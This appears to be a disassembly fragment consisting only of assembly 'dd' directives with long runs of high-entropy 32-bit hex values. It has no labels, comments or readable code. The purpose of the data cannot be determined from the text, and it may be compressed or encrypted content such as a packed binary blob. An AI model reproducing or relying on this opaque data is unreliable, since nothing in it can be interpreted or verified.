		dd 7D886AB4h, 126F38E1h, 0C28EBC70h, 0E55718EBh, 6678275Dh
		dd 54DBCE25h, 0B895ABBh, 0CCBF1858h, 6AAC2F56h,	742FB0CDh
		dd 0EB7F1E36h, 30DA09C6h, 0F708EC73h, 16F7E9FEh, 0A6C7D673h
		dd 765A2D12h, 7505E0BCh, 0E09F0F21h, 3B90362Fh,	0E917D133h
		dd 2942821Eh, 0DF4C32FDh, 79FF9D4Ah, 0A4CB0A3h,	4F400F1Eh
		dd 4E61169Ah, 0FEE60527h, 0F8C1135Ah, 405B79D0h, 43F3CE30h
		dd 316E141Ch, 0C34F53D1h, 3E0153D8h, 9E8444Bh, 0C52F14E9h
		dd 93A2BF40h, 0F2E951B0h, 6805CE92h, 16205431h,	2AB1C1BCh
		dd 0E41A7C74h, 2704F08Eh, 0CB6D0305h, 68530127h, 38B217D9h
		dd 6250B78h, 7843AEDCh,	0E9C8D8F1h, 363F6E85h, 0B317AFF2h
		dd 0F9BA21D4h, 4AE9E045h, 88F1BD40h, 795AD342h,	4A688564h
		dd 565A4078h, 202FB850h, 736B0A2Bh, 9F09B0A8h, 0DD50D732h
		dd 7E6278CAh, 2A08C000h, 0E5B818A6h, 7C9DA949h,	0B8165073h
		dd 550B30C8h, 0F58C89C5h, 0C7D12F02h, 2EEF60Bh,	1DB155D4h
		dd 2FA93DC1h, 24804B5Dh, 2960940Ch, 0DF5997CFh,	0A17C615Ah
		dd 3D5AE528h, 0F8C941C4h, 49BF05CAh, 0E575EF65h, 0F6219385h
		dd 0E9C10B74h, 4B14710Ah, 507E00FDh, 5FE90EC5h,	6E47E1CCh
		dd 4FFE14D8h, 6816CC3Ah, 2EBD965Eh, 3609B2D0h, 4C051C0Bh
		dd 7B5D5CAh, 0C04C199Bh, 68CE8173h, 2B606073h, 715EEC0Ch
		dd 8DE91236h, 579932E4h, 24845561h, 2D4BD0CEh, 55409EAh
		dd 775E427Dh, 2E89E1D4h, 99F61048h, 53942F20h, 0AD05D089h
		dd 2D0A0E05h, 72AA32CFh, 0FDC5AC7h, 96E1C692h, 21972623h
		dd 3E0A7164h, 0E1818C70h, 2C08180Eh, 3282C019h,	57B4995h
		dd 0A47920E0h, 5CAE8088h, 0F6813A29h, 0F1010D62h, 334DA1C0h
		dd 705A5BB4h, 5E6522C7h, 723FEA03h, 0B84A6EC6h,	283D07E2h
		dd 0E8ED2732h, 1061285h, 3296EB31h, 0EA875FD2h,	0C14A7A2Eh
		dd 2A75A79Dh, 2F5AEF8Ch, 41F0D210h, 6179BA0Ch, 733F81Eh
		dd 910B8678h, 52C42F48h, 9A6B342h, 0C660B468h, 80AF0BC6h
		dd 2B6516E5h, 0D779B30Fh, 0DBF6C904h, 9AFE7881h, 0C4D2A23Fh
		dd 68033156h, 15106B44h, 0BA4B3C06h, 0E74FEEC7h, 0DCD2141Dh
		dd 0EF17743Eh, 0FB4826C5h, 8A51D98Bh, 117FC2Eh,	35ADB951h
		dd 413E55E5h, 4D40C983h, 0E9B97029h, 3B7D340Fh,	7E061387h
		dd 176A08B3h, 613FE468h, 0B31D6442h, 3E47BE5Fh,	3AAD0B91h
		dd 8FE16FC3h, 2C46CF1h,	4B924EC7h, 7178DF96h, 0DC13F525h
		dd 9CC05A80h, 762E4514h, 0E994A46Dh, 70D84A08h,	31AF4070h
		dd 0B322829Fh, 9A18572Ch, 0B027106Fh, 48BD025h,	0AD4DE635h
		dd 23C4AAA0h, 448A8B01h, 2E738B4h, 10F18194h, 8B818C26h
		dd 0FC74BFE1h, 0F77DE949h, 7FD983A8h, 0D480A086h, 503B025Dh
		dd 9E49E94Eh, 99BD3F53h, 80169CEEh, 0AE5C0CB8h,	7E0C00Ch
		dd 24090306h, 0C1F65035h, 22EE74Dh, 0C3315C36h,	41B55972h
		dd 53740F20h, 80A7FD56h, 0F7044766h, 65CC68D1h,	5BDDDAEBh
		dd 978FECBCh, 713DEBB6h, 3C2E982Eh, 7266E540h, 61E5A04Fh
		dd 130BC441h, 76C302D9h, 0FB29C111h, 6BEB1090h,	0EBB4776Fh
		dd 29087520h, 0E8834B0h, 5FEE05E8h, 8058C703h, 0F8303A98h
		dd 4AF3E92Dh, 94F0DFFEh, 462D5A7Bh, 0AF3BD577h,	7CAF665Ah
		dd 455EE999h, 0A18EDA2h, 19EA4B7Eh, 0B5E71016h,	49CE1EEBh
		dd 604A5F5h, 0FC08C41Eh, 9DE64FECh, 0F17F5289h,	0AA584589h
		dd 0A3FB17C4h, 8202D369h, 0FD64C968h, 7EAD43E7h, 4E0CB009h
		dd 7EED237Ah, 80149F5h,	3235DEE9h, 0CB91AC2Eh, 5BB6D0F5h
		dd 4546E0BFh, 4652FEE6h, 335C0236h, 8B217C4Eh, 8155F6BFh
		dd 0BDDF7749h, 90B02F31h, 0A80CB6EFh, 68F54057h, 9410D501h
		dd 0F7415955h, 1D33DC24h, 66A7F095h, 70F12FC6h,	5BC251C5h
		dd 0B571552Ch, 3541EC20h, 926C5D6Ah, 48B38C6Fh,	5C300564h
		dd 542DFFA3h, 7E80CBCCh, 3688822Eh, 38E12E11h, 514C02C9h
		dd 0F25545C7h, 63F988Bh, 686297F2h, 56750C16h, 0E92A7CF2h
		dd 0FBFAAB5Ch, 4BB7673Ch, 3664DB8Ah, 406BD951h,	436ACBEFh
		dd 0FAE38102h, 5726AE47h, 2B1D8DA3h, 0E88E69EAh, 0C0B927C5h
		dd 187CC2C3h, 0C2F2630h, 0E50E783Eh, 4174AC7Bh,	0C79B0008h
		dd 734E3B56h, 7C80D0AAh, 0F34FCF51h, 4A5B3581h,	0C4F85230h
		dd 0FB66E9B3h, 4B8266A4h, 0A121B886h, 0B58F320h, 0ABE2F956h
		dd 4C9E75C9h, 564A11B5h, 5AFF5630h, 530B33B5h, 60FB55D1h
		dd 29005D08h, 685058C5h, 5BC32F66h, 851CEA49h, 0ED81FDC5h
		dd 0C3D60C1Ah, 5F20B19Dh, 53329B66h, 32E9D068h,	78F63B51h
		dd 0DE6EE983h, 0FCEFD705h, 54C5CB74h, 0A1F86817h, 3517E9F1h
		dd 0B3252E39h, 0A8F46FA1h, 907F9732h, 3B7EC9AAh, 637E3438h
		dd 0A8B6372Dh, 893A35FFh, 97E43E6Bh, 28D14801h,	0EA95A720h
		dd 92917F4Eh, 5D0164F4h, 79A46DB0h, 0C3C0CEE6h,	67273DC7h
		dd 7CB3A17Ah, 13A6886Fh, 0D3C76D44h, 5BC0AEEAh,	5D866852h
		dd 8D81C61Ch, 0E20D6B17h, 0E2571542h, 5928CA2Eh, 1C556B4Bh
		dd 0F7660F43h, 7729E9F9h, 0AA9985Fh, 1EBCA84Eh,	46C99729h
		dd 0C092A4Ah, 39FD7B87h, 5CA4E92h, 0A325B2D4h, 2AF741ABh
		dd 0C8237A5h, 6C8A6FF4h, 4EA11040h, 3454620h, 1589418Bh
		dd 1C41CD01h, 141CA008h, 18E95116h, 0BE2EEAE1h,	0D0BDD765h
		dd 3118E882h, 0D06B7FE0h, 2D1F7082h, 15D9210Dh,	1767DC4Bh
		dd 41CF0022h, 29CE90Ah,	88A07F82h, 0D12A90C6h, 0C5E1434Fh
		dd 2666D3ECh, 2433C39h,	4F4B1B25h, 0BDE90301h, 51630B2Ah
		dd 3CE72100h, 82E348AEh, 7855DB2Ch, 0BDCCFF72h,	0CA810602h
		dd 68AD3F9Fh, 0F065D720h, 189823h, 6C4B354Dh, 0AA52B905h
		dd 43101F4Bh, 585A2D07h, 0AC07B813h, 28CFA0E6h,	10122C22h
		dd 0F7A0991h, 0B7C1636Ah, 0F4F37EC6h, 629F8E22h, 0D59DFFDh
		dd 8BFB5864h, 890E12DCh, 0A27E41C9h, 0F418C454h, 0DA651CD7h
		dd 0DF682592h, 715B1A6Bh, 590928AEh, 45166BD3h,	674AF2ECh
		dd 84EBC283h, 1C40D9ECh, 982FEF4Fh, 550E3535h, 0A23FF827h
		dd 60DE74E1h, 13C4EAE9h, 0AA07947Bh, 80455B1h, 0C8E07684h
		dd 3A150ABBh, 2895FBFh,	3F54036Dh, 0E90B015Ch, 927CF412h
		dd 536F8DDEh, 0A8C4E992h, 7EC74D49h, 31FFEF0Eh,	8F84DC7h
		dd 97E5E8E5h, 2E40F20h,	0E91AF42Ch, 5E567579h, 99027DA7h
		dd 6340565Fh, 0F9BD800Eh, 0D6290FDCh, 144D3B46h, 9DFAD8B5h
		dd 0E912B0FDh, 51C260E8h, 2F757F5h, 5B60EE58h, 0E95003BFh
		dd 57122AA3h, 2A85BDFh,	2EC0A410h, 0F6CB965Fh, 22CA8CB4h
		dd 95EEDDFBh, 6270F1ABh, 4E576D16h, 25191Eh, 3FFDBDF2h
		dd 4D423D36h, 26197092h, 0D8974E36h, 0D351717h,	4B99A834h
		dd 0D8044BB8h, 0EE03EF56h, 0B49690ADh, 741851C0h, 0D70C1D4Fh
		dd 0F30824FAh, 7E20023Dh, 0D17F2156h, 62A54052h, 0E9250123h
		dd 99544F8h, 53BA5C94h,	249FF700h, 6ABD3307h, 1C080D03h
		dd 47241404h, 90241DAh,	1203E9C2h, 0DCDFF169h, 48806E60h
		dd 7A73002Dh, 0E0D134DCh, 0D0ECC605h, 4BA39A59h, 0F6C3C791h
		dd 505CAC40h, 8F680455h, 0BB788736h, 5E818FC0h,	21A98ECh
		dd 0B73773F2h, 25C12974h, 2D167E08h, 794CDDBBh,	0EF0EC441h
		dd 4B60FECDh, 6B300015h, 0E5814D6Eh, 965A3621h,	46780180h
		dd 576A59E3h, 4BBB5710h
		dd 1FE31FEh, 7677ADDFh,	3D0927C7h, 0E3BD60FFh, 0FE7B121Ah
		dd 1F02EF7Ch, 0D2367530h, 7AC302DBh, 2DFD584Fh,	94DDC55h
		dd 7A58A7E9h, 9026A89Dh, 0EB935A1Dh, 52C42CBEh,	0F5FEDEFAh
		dd 0E34F5AB0h, 0ADBAAB84h, 96848460h, 0FE15ACDh, 0EA694925h
		dd 48CEA792h, 25ED209Bh, 0F41A8368h, 7AE90255h,	0F260751Eh
		dd 0CB2DFC66h, 0F8A50C2h, 5B0BBC35h, 0A81AFFD3h, 0E94AFD2Eh
		dd 5F09B670h, 4621CB68h, 0EFEE0CE7h, 6835C74Fh,	7B760F26h
		dd 4434D789h, 67E380C7h, 0EFA49686h, 9475FE64h,	0BA5784D2h
		dd 9353F3CFh, 0F95BA882h, 8E6C740h, 8CCE813Dh, 0DE134119h
		dd 4E5C0C02h, 68BC31A7h, 9B082C2Fh, 0D530C7F3h,	9F45521Bh
		dd 0CA24C53h, 29EE0C5Bh, 9BF32BCFh, 56856C0h, 7613DA1Dh
		dd 0B8C1B7E9h, 93F1EB0h, 44F0282Fh, 75912C31h, 22A7EE9h
		dd 42B86801h, 0FD8851A3h, 7D61EA92h, 0F355C2E8h, 0ABE9E19Ah
		dd 0C465352Eh, 0E388431h, 10BEFBFh, 0A05AE9EFh,	0DF8CB32Eh
		dd 42D72AD6h, 0C6D16562h, 0EA3EFFBEh, 56295149h, 7B9F62BBh
		dd 0B1804204h, 7CAE8661h, 0FAF127CCh, 22C290CEh, 0F5151AC0h
		dd 0E481840h, 29E2B50Bh, 8CC3C5C3h, 68390D85h, 4562CF7Fh
		dd 255A4A82h, 0EDF48904h, 5AFC2858h, 1F8D188h, 680EBB20h
		dd 0F128628Eh, 0C68F745Eh, 9FEBBD0Bh, 5A4E064Ch, 0A9E91916h
		dd 3FBEFFD2h, 0C25EBCBCh, 7F430C7Ah, 0E65CE988h, 0FC5024C9h
		dd 7D0B8088h, 55802D8h,	0C58906A0h, 2B65EDA1h, 0DF502CFFh
		dd 0C23FB341h, 0AF752DA6h, 0FA939CCDh, 0E92E88B1h, 0D204E435h
		dd 310B5B13h, 5F4A0E5Ah, 0D31024A6h, 2B642D71h,	5F665F1h
		dd 0A7B06FE9h, 432502F6h, 0C0749D0Ch, 95732E92h, 0F9F65E10h
		dd 4218DEB7h, 20347E3Dh, 68EE47E2h, 750E9A0Fh, 98667D3Eh
		dd 1C8DAC9Dh, 0C12A22DFh, 387E71D6h, 0D009CBCBh, 8D294FC8h
		dd 52CA348Ch, 0EE285D64h, 0C57B62D7h, 0B0688444h, 0E21DD803h
		dd 7A0A0707h, 2181F681h, 802A273Eh, 34208973h, 14EC695Bh
		dd 994E147Bh, 0BE2091B7h, 0B520D890h, 0BB5C5E54h, 0C3459564h
		dd 4AB464E9h, 450A0FEBh, 1A69500Fh, 5993ED7Eh, 0AFAB17AFh
		dd 65446A75h, 0CFAFCD8Bh, 51641FD4h, 645AABA4h,	0BB9FE6Dh
		dd 97B0B5Ah, 92AD284h, 9537D858h, 84D0155Eh, 435582E0h
		dd 7061C2ACh, 0D55E5E4Ah, 73E7F842h, 184DC65Ch,	802011B3h
		dd 30E478C3h, 0E59B1B29h, 86270A9Bh, 275DDC5Ah,	4D58397Eh
		dd 0E5BE80D9h, 983E4A26h, 0EE1F7B09h, 3187620Bh, 1CFDA59Fh
		dd 22490D1h, 6E314E24h,	85A027E9h, 1B5860BBh, 24AF3E5Eh
		dd 0D4E3AFB7h, 0F846E984h, 35AB4E19h, 13E9ED4Ch, 88BD1AD1h
		dd 0D1DF5AA2h, 0EA018AC9h, 5AC218EAh, 7D834813h, 0C60800A8h
		dd 72522533h, 35005885h, 13651E5Ah, 2DF4212Dh, 8D089493h
		dd 22A600EBh, 2FE9280Fh, 8A8A6E5Bh, 0EE7A247Ch,	0EF680B35h
		dd 0B45A9ECBh, 8E42C7A1h, 3BED76DEh, 0BF336893h, 0F5462A46h
		dd 0F9BF0138h, 3158891Ah, 0E2EF31C7h, 5D1C3302h, 405A0F5Ch
		dd 0C6F39407h, 53512E77h, 0A1CB732Ah, 0CD206C9Ah, 0FE6BBD22h
		dd 0F2564CA2h, 238C3D61h, 7A8D3A8Bh, 44CF5E74h,	5FC7701h
		dd 70FFBEE2h, 4FE92E3Bh, 52B48089h, 5866E528h, 0E872C1B8h
		dd 3F13CEC6h, 0ECF20947h, 0A2A9D4E0h, 0E97FA1D5h, 23814AE4h
		dd 0E51772EAh, 300C807Bh, 1620A21h, 0BF5702C2h,	4E735B43h
		dd 284A961h, 0FAAB8909h, 0C524C096h, 81795F13h,	1802EF7Eh
		dd 47E91232h, 5A0D7622h, 508D8320h, 681240C2h, 3BA906FAh
		dd 3A3D4380h, 882FE948h, 4F867950h, 0BE1EB984h,	1F53F244h
		dd 659672FCh, 64D1019Eh, 30C9B652h, 0BD803B43h,	654513BAh
		dd 0FF80FB7Ah, 3E3CB4F5h, 0E90B5EBBh, 9BD7E2D2h, 0D49DC9B0h
		dd 0FCD24C33h, 5BB4A65Ch, 8621FAECh, 10C26EAFh,	695AAAE9h
		dd 4060AD8Ch, 4103BF2Dh, 8175DB5Bh, 186CE1F7h, 3BCAC0C6h
		dd 58703D60h, 0ED16F21Ah, 0DA0C8423h, 8FF13D5Ch, 0DE9789FDh
		dd 193E88A4h, 0B5F6183Dh, 8861B315h, 57813C1Fh,	2C2E78ECh
		dd 8F75D20h, 500CC91h, 32BA1C34h, 568D092Dh, 96F06F72h
		dd 0E6951375h, 0B65B0312h, 4DCE80F2h, 0FE2EF698h, 0EEE9C609h
		dd 0C4EE7C46h, 0AADD94CAh, 0AF53804Bh, 4FBF3298h, 0FE533B8Ah
		dd 0AF484B72h, 0AC24B2F3h, 0F8BBD784h, 481F4BCh, 167A25E9h
		dd 4E03BEEEh, 835AD128h, 292CE9CBh, 2A57406Eh, 5521AC61h
		dd 0A9E6AF8h, 0BD30D727h, 0FE9F5BBCh, 5ABAE06Bh, 2C4CDA30h
		dd 16D5385Bh, 7F017D86h, 4620E959h, 9DA35530h, 1B086E79h
		dd 8F482733h, 0BE3E7C2Ah, 58D7A521h, 58549D70h,	69E6E9D8h
		dd 78541026h, 2E51CA88h, 2A52284h, 311D8BB9h, 2141535Bh
		dd 890F968Fh, 380B2DBAh, 91EE4B2Ch, 0DCFE8701h,	91C0B6FCh
		dd 4C75EDEBh, 7021B010h, 245E76B4h, 20F9DF01h, 184D9C08h
		dd 45BED65Fh, 0F0A25425h, 7B1B9477h, 0A268F9F0h, 329C145Eh
		dd 2EE34121h, 693A3CD0h, 0F05D6278h, 0D37509C8h, 0EE2812E7h
		dd 0AA174167h, 0A72CD803h, 0ECB27277h, 42247E02h, 4E681C7Fh
		dd 5909CB88h, 714C8168h, 0EC79963Ch, 289908FEh,	782C1FF8h
		dd 3904E81Dh, 9E7F957Ch, 0EACC2AF2h, 2E3277C4h,	818AE2BBh
		dd 650C84C3h, 0F6AA4314h, 15E96B0h, 81CA0EDh, 14828190h
		dd 725DE27Dh, 0C0097AEBh, 268ACEFBh, 0D6F62D36h, 0B9CC0D4Bh
		dd 0FDA1F456h, 0AF5F2A92h, 0B0A7BBCCh, 20C7AC7Fh, 5964E812h
		dd 0F6009560h, 0F4C180D1h, 501CC9FAh, 0E10FDBB4h, 0ADF16558h
		dd 0E0E99A03h, 653A5AF0h, 0EBFA0946h, 5425F6DCh, 0D4B9C279h
		dd 95BAB805h, 3544AB5Bh, 0C4109A89h, 611CC213h,	19F3297h
		dd 88DC01B5h, 41C6BD5Ah, 0DF02C72Dh, 9B4D1916h,	0F36803F7h
		dd 0D1147406h, 7732E828h, 4A5A410Bh, 0BBA49D82h, 0A9C3ABA0h
		dd 2F484270h, 95B13D6h,	9F13EF0h, 6EDF4FA3h, 4A01C4D4h
		dd 0CA015CEEh, 8059961h, 55DA8EAEh, 61EE2A51h, 96C1CAC7h
		dd 65ADC775h, 24BA650h,	0E96AEC1Bh, 9855BA6Bh, 256856ABh
		dd 0EDC0355h, 9AF0E9F0h, 209F98CCh, 5E9FD0D2h, 77F8C2D2h
		dd 546BD059h, 0BBE92D4Eh, 0C1F24FBh, 2EDF5701h,	93E9D321h
		dd 55330B7Fh, 319DC6D5h, 0F25C4F29h, 97A90510h,	165AB804h
		dd 0CCF2BA21h, 77A3A8D3h, 0E368C341h, 4F5E6809h, 0EE734882h
		dd 22905D0Bh, 9C3F2C58h, 9F76123Fh, 4998F6EEh, 78D26064h
		dd 0C3225139h, 274CA10Ch, 80E9C1BFh, 29E52069h,	81CF968h
		dd 14241C34h, 27AB2011h, 8C255E5Fh, 0BF6A0BF8h,	0A52B1F09h
		dd 720BFF02h, 4AA92040h, 0EED08880h, 90923Ch, 40686EBFh
		dd 0D833BE54h, 95F9CF26h, 535EB8A0h, 150D22C0h,	34CB260Fh
		dd 9D730200h, 0C974F889h, 77094D28h, 0D7309844h, 8816AD8h
		dd 63E73B58h, 1E49AE42h, 70A4E45Ah, 83605F58h, 0EA4D1E61h
		dd 3086D45Ah, 607CBED5h, 0F6A1C050h, 0DA92B80Bh, 0B22348EEh
		dd 0E97FE16Ah, 1F82F5A1h, 77BE4AE6h, 0EC89F65Bh, 516B2753h
		dd 9FE3842Bh, 2A46A5AAh, 0D4CE07ABh, 0C329F40Ch, 2DE85FBCh
		dd 8C60FDEh, 7D307569h,	0F056ED0h, 38C61F9Bh, 0CF71E917h
		dd 0E7D8D73Dh, 0DE6A172Eh, 0A9B20129h, 3A28221Ch, 14E99B02h
		dd 0BDB5C625h, 0B800C5C4h, 474D1D07h, 9AC4F9E9h, 0AB40963h
		dd 0C18F5AB5h, 40FAD72h, 27450756h, 9065EBC5h, 0EA9691FAh
		dd 0F7B46E08h, 0E2C25A4Ch, 76502FB5h, 0C4E3C51Ah, 0C944E98Ch
		dd 60107EA9h, 0FB0519B9h
		dd 51AC494Ah, 6742D404h, 34980158h, 0D76B0D51h,	0FCE2F12Dh
		dd 0DC63D4B7h, 0B5027999h, 600D1808h, 82013EC4h, 22B2C7FFh
		dd 0E6077C5Eh, 807A0FB6h, 0E982D141h, 4FC3499h,	0D30762EFh
		dd 0BE7C5FFFh, 31417F52h, 0EBA744C0h, 21C61DFDh, 5EB5FCDFh
		dd 9DE85A61h, 9A95FB83h, 86E1DE39h, 832BAE68h, 3B769020h
		dd 26B9E688h, 0C605C6D9h, 0C058457Bh, 6BB0CE4Fh, 0E92D2CEEh
		dd 0FF1C0BD5h, 5F81E46h, 808881B5h, 0E07B46EEh,	34FE6A5h
		dd 7072D4E8h, 90619563h, 74B460FFh, 20C9469Fh, 4D98AF65h
		dd 31AA3A22h, 6A75618h,	0D73101CDh, 496524DDh, 0CE38EF3Bh
		dd 0C7DE6092h, 435138EFh, 0C701621Eh, 68085039h, 1A4F0C27h
		dd 8B725F1Fh, 0E5C9FB34h, 0DC1947D3h, 2DC65E0Fh, 0BF070C18h
		dd 6D767FC5h, 3F10CA4h,	0C198302Fh, 17262651h, 0FB20E258h
		dd 64CF0883h, 0E32AD590h, 0E8DC506Eh, 282F7A98h, 0A0AE590h
		dd 617BF591h, 9114D259h, 0C75018F5h, 0F9050CDBh, 1AB04828h
		dd 15232981h, 4AB60580h, 1144BDDh, 4A072DF8h, 47349DEEh
		dd 11C44B27h, 38541CF0h, 4658B5D4h, 0C309DEBCh,	889CFF20h
		dd 3B8754Eh, 1CE1FEA5h,	0E163B93Bh, 176B47E9h, 9DAFE7D1h
		dd 0EAB01152h, 0B05B04Bh, 162502D5h, 0D20052D1h, 0E995AFB4h
		dd 4B629708h, 0D777E2DDh, 0C1050A91h, 629CD40h,	0F6FC9746h
		dd 0F0BF0C34h, 0F130E902h, 564D6A62h, 0A973BEh,	0EE811727h
		dd 64703405h, 0EB670CC0h, 5BE99AA7h, 0AF6F1268h, 5AEB6ED8h
		dd 0CB18ED26h, 1EB9F329h, 272F5CE9h, 5C209ADFh,	5B974065h
		dd 0E9124DB8h, 96E2F957h, 0E657C669h, 0E6265FB4h, 17B89308h
		dd 3FD468A1h, 0C1ABEE35h, 2D454371h, 0B7B95B7Fh, 9F1CD048h
		dd 0E94E822Ah, 73CC66EFh, 0AC207A1Ch, 1BD9B5BEh, 84B76283h
		dd 3B38BB00h, 54F40BCBh, 0F38214BAh, 5CC0F753h,	18A4B951h
		dd 2049380Dh, 99015768h, 0E9CF090Eh, 8D6F2BA6h,	1FBC2B75h
		dd 0F53DAA5Fh, 6816D23Ch, 82E867EFh, 91983E03h,	0FC4D8CE9h
		dd 66F40E9Ch, 0FEE38153h, 0DDE551CBh, 10C0B02Bh, 41817C53h
		dd 0A7132AF3h, 0A4A6B2BAh, 5BF3ECA0h, 0F248EC09h, 6AFB7F5Dh
		dd 2D13AE68h, 994E17F7h, 2E2C519Eh, 0C2423C19h,	0D4545056h
		dd 400F1E53h, 0CF813471h, 0BA2E7E0Dh, 0B1D0E2Eh, 8905FB96h
		dd 7FAC5FF8h, 5C2DAE4Ah, 20A57041h, 0C49262BAh,	288109DBh
		dd 0D5FD4E02h, 1CAB7F0Bh, 0B0F8CEDAh, 95585282h, 0A4C926FDh
		dd 1DBA4C41h, 0F70B157Dh, 804876D2h, 0CA686F03h, 0AAD0407Ah
		dd 29099BF4h, 7443CCE9h, 0F95E968Dh, 5E813E69h,	0AFB38542h
		dd 4A417D08h, 5F9B283Fh, 72D033F2h, 14B4ABA5h, 0CB7B020Fh
		dd 9E52E907h, 3A891CCAh, 77C96ED1h, 0F2BC494Eh,	33CAE985h
		dd 0B3D1CC65h, 0CBBBA844h, 0C7428E25h, 50A7077Fh, 0C82645F2h
		dd 3D3D8C51h, 1D121ED3h, 0F1D74031h, 697F423Fh,	0C1048ABAh
		dd 19D7C0EEh, 12DFE580h, 0E05D5FEFh, 8A1C3D5h, 3B1E8059h
		dd 170E73Ch, 80182D3h, 6E1FD2E9h, 3508D240h, 2FDC4F27h
		dd 965D319Bh, 0C5CE01A6h, 87751062h, 71CFC9FEh,	1008B4C3h
		dd 0B802498Bh, 8AC1BD22h, 2125387Dh, 26A3B3F0h,	0BBD513FFh
		dd 15A74CAh, 964EDEACh,	99E97A51h, 6C4DF901h, 21CD016Ah
		dd 0F808141Fh, 670D7913h, 0DE3C207Eh, 0ECEAEC04h, 26E64B94h
		dd 1317E25Bh, 70C2DA52h, 267BDF74h, 729906A4h, 40725C45h
		dd 0AC05D401h, 28F10928h, 3E1B02Fh, 1AE93E41h, 7FD3B6Ah
		dd 22F07AC3h, 5DC0FD01h, 270437B0h, 485E92Fh, 5D7647EBh
		dd 1F5C99C1h, 0AD253710h, 773916F8h, 0A32D83E2h, 0A83DBE0Ah
		dd 58F750C9h, 5281F4Ch,	1143EB07h, 76D9D85Ah, 0EC7B5E96h
		dd 0EE11787h, 3330B9D0h, 56070BAAh, 22F7C689h, 0E599C2Dh
		dd 685350C0h, 9D121EE5h, 0A7EF5B5Dh, 1DE335E1h,	0A413C4C4h
		dd 6643D18Ch, 0C0452A72h, 5D271C05h, 0E742316Dh, 43BF4BC5h
		dd 44F5B073h, 36752577h, 0E07F45F8h, 65426880h,	0D26E4F49h
		dd 79D65CAAh, 1DA7EF50h, 814DE054h, 2503F5C7h, 6F503F35h
		dd 40274808h, 0C55EE914h, 0D9582709h, 0F4933DAAh, 9937B5BFh
		dd 127C5715h, 0AFEEF592h, 95FE97E4h, 19D8C50h, 3E5C049h
		dd 0F518826Fh, 2C9EEF41h, 29AF4A7Bh, 0F55DAF27h, 0EA55D738h
		dd 0B264DBBDh, 0A0E4916h, 1A0955D8h, 8CE27192h,	876EEB65h
		dd 7430F27Fh, 0B6521EFAh, 530D9D7Ah, 7E9DF49Ch,	854B5695h
		dd 0F87A8D68h, 0E314DD1Ah, 0BB005D8h, 0C0BB7CE4h, 18E905D5h
		dd 97ABD097h, 0D8B46EA3h, 0D729721Fh, 0D61FD5CBh, 1027EAAEh
		dd 0F4592FB4h, 0A2D52539h, 57387518h, 9FE0DCF4h, 9079165Ch
		dd 754D090Ch, 388B0E9Bh, 8AA31658h, 66F0F75Eh, 0F260BDAh
		dd 0E104FA29h, 52E61658h, 70212861h, 71A07EE5h,	9511036Dh
		dd 5FDBE96Eh, 2D68CF3Ah, 1A3CF97Dh, 0E202CB32h,	815EDE49h
		dd 437605E0h, 0DA065897h, 6848C29Ch, 0EAD6471Ah, 88263161h
		dd 0AD84420h, 8BC3095Bh, 0BC844E8h, 1EA5DE5Ah, 0A05E8BC2h
		dd 0DA08A448h, 0E01A2A25h, 97D33125h, 7C9D8A16h, 0FAE85AEAh
		dd 50D62F85h, 4AF38BAAh, 68DDCCBBh, 1363C427h, 7F09C1C6h
		dd 412DBC24h, 5D34E876h, 0C40153BDh, 0B504A251h, 2D04A7ABh
		dd 4E0FE84Dh, 6766B726h, 89E0A42Dh, 2387D4EAh, 0AA559678h
		dd 2B4D57DEh, 0D9CD9C4Eh, 70B31740h, 0D3DA7C7Ch, 0E538BA5Dh
		dd 885C8802h, 0EB3088C0h, 4B2C5966h, 74B8B84Ah,	773246B8h
		dd 5D32CB9Eh, 0A68E8F71h, 8028CB2Fh, 850C8CCFh,	7A429736h
		dd 0FFB96875h, 498282FEh, 0C6130E42h, 42024BE3h, 1699E904h
		dd 3A08520Ah, 7DB28E1h,	38697D4Bh, 13E4C24Ah, 0C11B9377h
		dd 0D57318CFh, 516C2778h, 40483A90h, 27D9BB0h, 5D12F85Eh
		dd 970B3FEh, 5CFED6BCh,	75494Eh, 0FF241E4h, 0C372844Bh
		dd 117A1512h, 85750AEh,	0FA99344Ah, 9F6ED8E0h, 0A4E28F1Bh
		dd 86F78100h, 0A8482546h, 0C8605B0Eh, 0B13B142Dh, 0C5B2065Dh
		dd 645E2BF0h, 108B080Ch, 0AEF15BF6h, 36A70144h,	3D608DB2h
		dd 776CBD55h, 21D4B58h,	0B48898C5h, 0BCE555B2h,	54D40927h
		dd 94D16B73h, 13685B04h, 0EECD12AAh, 41D5083Ch,	5FE26EB9h
		dd 4003AD10h, 8997A6E1h, 1F06DBD4h, 0D93E7380h,	17C7CAAFh
		dd 668AFB5Bh, 2AAEE982h, 0ABFA55h, 69B2F281h, 0D709489Fh
		dd 8168559Ch, 0E80F5A00h, 5AEDC151h, 0B03AF805h, 74592131h
		dd 1121B058h, 5FFEE754h, 24930C81h, 94039C9h, 4C4EAAF1h
		dd 0F7ABA31h, 17622F2Ah, 0E8771EC9h, 27EED2FAh,	9257B85Ah
		dd 277BF75Fh, 53BAC197h, 0E7C30811h, 5C4FBB09h,	0EB310B1Eh
		dd 2F0C3486h, 5F95C205h, 83E95B40h, 0D5E60841h,	5149931h
		dd 0F3AF84EFh, 48B5502Dh, 0F6811B00h, 3D6952ACh, 6BAF2768h
		dd 31257D46h, 2077EE8Eh, 5B76D898h, 0E053920h, 355C92B8h
		dd 0C4018D5Eh, 9A17EC35h, 7CB84B4Fh, 0E2037F58h, 0E92E685Eh
		dd 4710DEAh, 0BB253C44h, 38B2ABA2h, 395121F5h, 0D2C77A76h
		dd 0BD897F21h, 0D55A82F1h, 22795FB0h, 0F68D6EB7h, 4082AA37h
		dd 2D190695h, 14751209h, 0EEBD4D8Eh, 221BA5Eh, 5600777Dh
		dd 58165CBEh, 0B1E5327h, 128E4CC0h, 13AFE781h, 3507210h
		dd 6C61D498h, 295C28Ch,	0CF8D0D5h, 7D3C18FCh, 0E24320Ch
		dd 4B257008h, 6F22A7DCh, 1D22DD13h, 1F48D0D9h, 652D17B1h
		dd 0CB320028h, 0F31E15CAh, 2EEE3D8h, 0E9443F70h, 46F5F0E6h
		dd 8051F201h, 0D09DDCB9h
		dd 4C9EA372h, 0CD25C6E7h, 51BDA7D5h, 0C814E762h, 2C4E9905h
		dd 802B2FDAh, 0F4B4FCCh, 465CE6D1h, 0F47B2DDCh,	9F425AD4h
		dd 28D61DDh, 7CDD8205h,	20669FF4h, 50593D2Bh, 3892C83Ch
		dd 35C5C923h, 0C9194B68h, 2DEA23D8h, 0FD4FB2AAh, 0A7F92861h
		dd 7A97D614h, 9BA31457h, 70C2AFC5h, 0C812A8DEh,	0B55E6B28h
